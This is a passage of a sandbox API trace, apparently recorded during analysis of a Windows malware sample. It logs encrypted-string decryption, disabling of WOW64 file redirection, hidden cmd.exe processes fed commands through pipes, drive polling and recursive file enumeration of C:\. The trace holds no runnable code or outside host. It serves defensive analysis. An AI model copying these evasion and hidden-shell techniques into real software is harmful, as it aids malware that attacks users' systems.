lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.714] Wow64DisableWow64FsRedirection (in: OldValue=0x2def850 | out: OldValue=0x2def850*=0x0) returned 1 [0036.714] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.714] CreatePipe (in: hReadPipe=0x2def85c, hWritePipe=0x2def860, lpPipeAttributes=0x2def838, nSize=0x0 | out: hReadPipe=0x2def85c*=0x27c, hWritePipe=0x2def860*=0x280) returned 1 [0036.715] CreatePipe (in: hReadPipe=0x2def858, hWritePipe=0x2def854, lpPipeAttributes=0x2def838, nSize=0x0 | out: hReadPipe=0x2def858*=0x284, hWritePipe=0x2def854*=0x288) returned 1 [0036.715] SetHandleInformation (hObject=0x280, dwMask=0x1, dwFlags=0x0) returned 1 [0036.717] SetHandleInformation (hObject=0x284, dwMask=0x1, dwFlags=0x0) returned 1 [0036.717] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2def7e4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288), lpProcessInformation=0x2def828 | out: lpCommandLine=0x0, lpProcessInformation=0x2def828*(hProcess=0x290, hThread=0x28c, dwProcessId=0xc34, dwThreadId=0xd58)) returned 1 [0036.988] WriteFile (in: hFile=0x280, lpBuffer=0x2b112a8*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x2def844, lpOverlapped=0x0 | out: lpBuffer=0x2b112a8*, lpNumberOfBytesWritten=0x2def844*=0xbc, lpOverlapped=0x0) returned 1 [0036.988] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) Thread: id = 11 os_tid = 0x15c [0036.939] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0036.939] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2eefb40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2eefba8 | out: phKey=0x2eefba8*=0x10c92d0) returned 1 [0036.939] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2eefb90, dwFlags=0x0) returned 1 [0036.939] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2eefb5c | out: pbData=0x2b11248, pdwDataLen=0x2eefb5c) returned 1 [0036.939] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.939] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b11270 [0036.939] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x14) returned 0x2b11430 [0036.939] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11450 [0036.939] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2eefb18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2eefb80 | out: phKey=0x2eefb80*=0x10c92d0) returned 1 [0036.939] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2eefb68, dwFlags=0x0) returned 1 [0036.939] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11450, pdwDataLen=0x2eefb34 | out: pbData=0x2b11450, pdwDataLen=0x2eefb34) returned 1 [0036.939] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.939] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11450 | out: hHeap=0x2b10000) returned 1 [0036.939] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2b11270, nSize=0xa | out: lpDst="") returned 0x1c [0036.940] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11430 | out: hHeap=0x2b10000) returned 1 [0036.940] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11270, Size=0x26) returned 0x2b11270 [0036.940] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x26) returned 0x2b11430 [0036.940] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11460 [0036.940] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2eefb14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2eefb7c | out: phKey=0x2eefb7c*=0x10c92d0) returned 1 [0036.940] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2eefb64, dwFlags=0x0) returned 1 [0036.940] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11460, pdwDataLen=0x2eefb30 | out: pbData=0x2b11460, pdwDataLen=0x2eefb30) returned 1 [0036.940] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.940] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11460 | out: hHeap=0x2b10000) returned 1 [0036.940] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2b11270, nSize=0x13 | out: lpDst="") returned 0x1c [0036.940] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11430 | out: hHeap=0x2b10000) returned 1 [0036.940] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b11270, Size=0x4a) returned 0x2b11430 [0036.940] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4a) returned 0x2b11488 [0036.940] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15298 [0036.940] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2eefb14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2eefb7c | out: phKey=0x2eefb7c*=0x10c92d0) returned 1 [0036.940] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2eefb64, dwFlags=0x0) returned 1 [0036.940] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0x2eefb30 | out: pbData=0x2b15298, pdwDataLen=0x2eefb30) returned 1 [0036.940] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.940] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0036.940] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2b11430, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0036.940] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0036.940] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.940] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b11248 [0036.940] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2eefb38, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2eefba0 | out: phKey=0x2eefba0*=0x10c8d90) returned 1 [0036.940] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x2eefb88, dwFlags=0x0) returned 1 [0036.940] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0x2eefb54 | out: pbData=0x2b11248, pdwDataLen=0x2eefb54) returned 1 [0036.940] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0036.940] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.940] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.941] Wow64DisableWow64FsRedirection (in: OldValue=0x2eefc58 | out: OldValue=0x2eefc58*=0x0) returned 1 [0036.941] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11248 | out: hHeap=0x2b10000) returned 1 [0036.941] CreatePipe (in: hReadPipe=0x2eefc64, hWritePipe=0x2eefc68, lpPipeAttributes=0x2eefc40, nSize=0x0 | out: hReadPipe=0x2eefc64*=0x2a4, hWritePipe=0x2eefc68*=0x2a8) returned 1 [0036.941] CreatePipe (in: hReadPipe=0x2eefc60, hWritePipe=0x2eefc5c, lpPipeAttributes=0x2eefc40, nSize=0x0 | out: hReadPipe=0x2eefc60*=0x2ac, hWritePipe=0x2eefc5c*=0x2b0) returned 1 [0036.941] SetHandleInformation (hObject=0x2a8, dwMask=0x1, dwFlags=0x0) returned 1 [0036.941] SetHandleInformation (hObject=0x2ac, dwMask=0x1, dwFlags=0x0) returned 1 [0036.941] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2eefbec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2a4, hStdOutput=0x2b0, hStdError=0x2b0), lpProcessInformation=0x2eefc30 | out: lpCommandLine=0x0, lpProcessInformation=0x2eefc30*(hProcess=0x2b8, hThread=0x2b4, dwProcessId=0xa8c, dwThreadId=0x498)) returned 1 [0036.947] WriteFile (in: hFile=0x2a8, lpBuffer=0x2b11370*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eefc4c, lpOverlapped=0x0 | out: lpBuffer=0x2b11370*, lpNumberOfBytesWritten=0x2eefc4c*=0x5b, lpOverlapped=0x0) returned 1 [0036.947] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) Thread: id = 33 os_tid = 0xe40 Thread: id = 34 os_tid = 0x86c [0041.928] GetLogicalDrives () returned 0x4 [0041.928] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b114b8 [0041.928] CryptImportKey (in: hProv=0x10b66e0, pbData=0x30efd18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x30efd80 | out: phKey=0x30efd80*=0x10c92d0) returned 1 [0041.928] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x30efd68, dwFlags=0x0) returned 1 [0041.928] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b114b8, pdwDataLen=0x30efd34 | out: pbData=0x2b114b8, pdwDataLen=0x30efd34) returned 1 [0041.928] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.928] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b11500 [0041.928] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0041.928] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc [0041.928] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18788 [0041.928] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xe) returned 0x2b18830 [0041.928] ResetEvent (hEvent=0x2bc) returned 1 [0041.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd3b50, lpParameter=0x2b18788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0041.929] CloseHandle (hObject=0x2c4) returned 1 [0041.929] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18800 [0041.929] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xe) returned 0x2b18818 [0041.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd3b50, lpParameter=0x2b18800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0041.929] CloseHandle (hObject=0x2c4) returned 1 [0041.929] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) Thread: id = 35 os_tid = 0xc9c [0041.930] GetLogicalDrives () returned 0x4 [0041.930] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0041.930] CryptImportKey (in: hProv=0x10b66e0, pbData=0x31ef86c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31ef8d4 | out: phKey=0x31ef8d4*=0x10c9450) returned 1 [0041.930] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x31ef8bc, dwFlags=0x0) returned 1 [0041.930] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x31ef888 | out: pbData=0x2b111e0, pdwDataLen=0x31ef888) returned 1 [0041.930] CryptDestroyKey (hKey=0x10c9450) returned 1 [0041.930] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b11228 [0041.930] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c4 [0041.930] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c8 [0041.930] GetLogicalDrives () returned 0x4 [0041.930] Sleep (dwMilliseconds=0x3e8) [0043.872] GetLogicalDrives () returned 0x4 [0043.872] Sleep (dwMilliseconds=0x3e8) [0045.123] GetLogicalDrives () returned 0x4 [0045.123] Sleep (dwMilliseconds=0x3e8) [0046.256] GetLogicalDrives () returned 0x4 [0046.256] Sleep (dwMilliseconds=0x3e8) [0047.373] GetLogicalDrives () returned 0x4 [0047.373] Sleep (dwMilliseconds=0x3e8) [0048.482] GetLogicalDrives () returned 0x4 [0048.482] Sleep (dwMilliseconds=0x3e8) [0049.862] GetLogicalDrives () returned 0x4 [0049.862] Sleep (dwMilliseconds=0x3e8) [0051.453] GetLogicalDrives () returned 0x4 [0051.453] Sleep (dwMilliseconds=0x3e8) [0053.207] GetLogicalDrives () returned 0x4 [0053.207] Sleep (dwMilliseconds=0x3e8) [0054.533] GetLogicalDrives () returned 0x4 [0054.533] Sleep (dwMilliseconds=0x3e8) [0055.870] GetLogicalDrives () returned 0x4 [0055.870] Sleep (dwMilliseconds=0x3e8) [0057.378] GetLogicalDrives () returned 0x4 [0057.378] Sleep (dwMilliseconds=0x3e8) [0058.634] GetLogicalDrives () returned 0x4 [0058.634] Sleep (dwMilliseconds=0x3e8) [0059.865] GetLogicalDrives () returned 0x4 [0059.865] Sleep (dwMilliseconds=0x3e8) [0061.228] GetLogicalDrives () returned 0x4 [0061.228] Sleep (dwMilliseconds=0x3e8) [0062.751] GetLogicalDrives () returned 0x4 [0062.752] Sleep (dwMilliseconds=0x3e8) [0064.843] GetLogicalDrives () returned 0x4 [0064.843] Sleep (dwMilliseconds=0x3e8) Thread: id = 36 os_tid = 0x26c [0042.287] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x38) returned 0x2b15420 [0042.287] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x18) returned 0x2b11258 [0042.287] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2cc [0042.287] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d0 [0042.287] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d4 [0042.287] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x32f0048 [0042.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xcd3979, lpParameter=0x2fef8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0042.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xcd3979, lpParameter=0x2fef8b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0042.288] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3300050 [0042.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2fef628 | out: lpFindFileData=0x2fef628*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fef850, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x10c92d0 [0042.289] GetLastError () returned 0x0 [0042.289] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x214) returned 0x2b18e80 [0042.289] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0042.290] GetCurrentThreadId () returned 0x26c [0042.290] SetLastError (dwErrCode=0x0) [0042.290] GetLastError () returned 0x0 [0042.290] SetLastError (dwErrCode=0x0) [0042.290] GetLastError () returned 0x0 [0042.290] SetLastError (dwErrCode=0x0) [0042.290] GetLastError () returned 0x0 [0042.290] SetLastError (dwErrCode=0x0) [0042.290] GetLastError () returned 0x0 [0042.290] SetLastError (dwErrCode=0x0) [0042.290] GetLastError () returned 0x0 [0042.290] SetLastError (dwErrCode=0x0) [0042.290] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3310058 [0042.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x10c8e50 [0043.007] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0043.007] FindNextFileW (in: hFindFile=0x10c8e50, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3d80050 [0043.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8d90 [0043.038] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.038] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0043.038] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.039] SetLastError (dwErrCode=0x0) [0043.039] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.040] SetLastError (dwErrCode=0x0) [0043.040] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.041] GetLastError () returned 0x0 [0043.041] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.042] SetLastError (dwErrCode=0x0) [0043.042] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.043] GetLastError () returned 0x0 [0043.043] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.044] SetLastError (dwErrCode=0x0) [0043.044] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.045] SetLastError (dwErrCode=0x0) [0043.045] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] GetLastError () returned 0x0 [0043.046] SetLastError (dwErrCode=0x0) [0043.046] 